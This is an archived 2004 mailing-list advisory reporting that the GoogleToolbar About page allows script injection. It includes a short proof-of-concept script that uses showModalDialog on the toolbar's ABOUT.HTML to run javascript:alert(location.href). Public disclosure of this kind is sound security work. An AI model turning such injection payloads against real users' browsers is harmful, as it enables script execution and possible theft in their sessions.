|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
GoogleToolbar:About -- Allows Script Injection
From: ViPeR (viper31337
yahoo.co.in)
Date: Fri Sep 17 2004 - 03:51:10 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Affection Software : GoogleToolbar
Version : Tested on 2.0.114.1-big/en (GGLD)
Notes:
GoogleToolbar's About section allows injection of
script, since it lacks any checking. The following
code is a Proof Of Concept.
<s c r i p t>
window.showModalDialog("res://C:\\Program%20Files\\Google\\GoogleToolbar1.dll/ABOUT.HTML",
"<div style=\"background-image:
url(javascript:alert(location.href));\">");
</s c r i p t>
rgds,
Gregory R. Panakkal / Viper
________________________________________________________________________
Yahoo! India Matrimony: Find your life partner online
Go to: http://yahoo.shaadi.com/india-matrimony
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]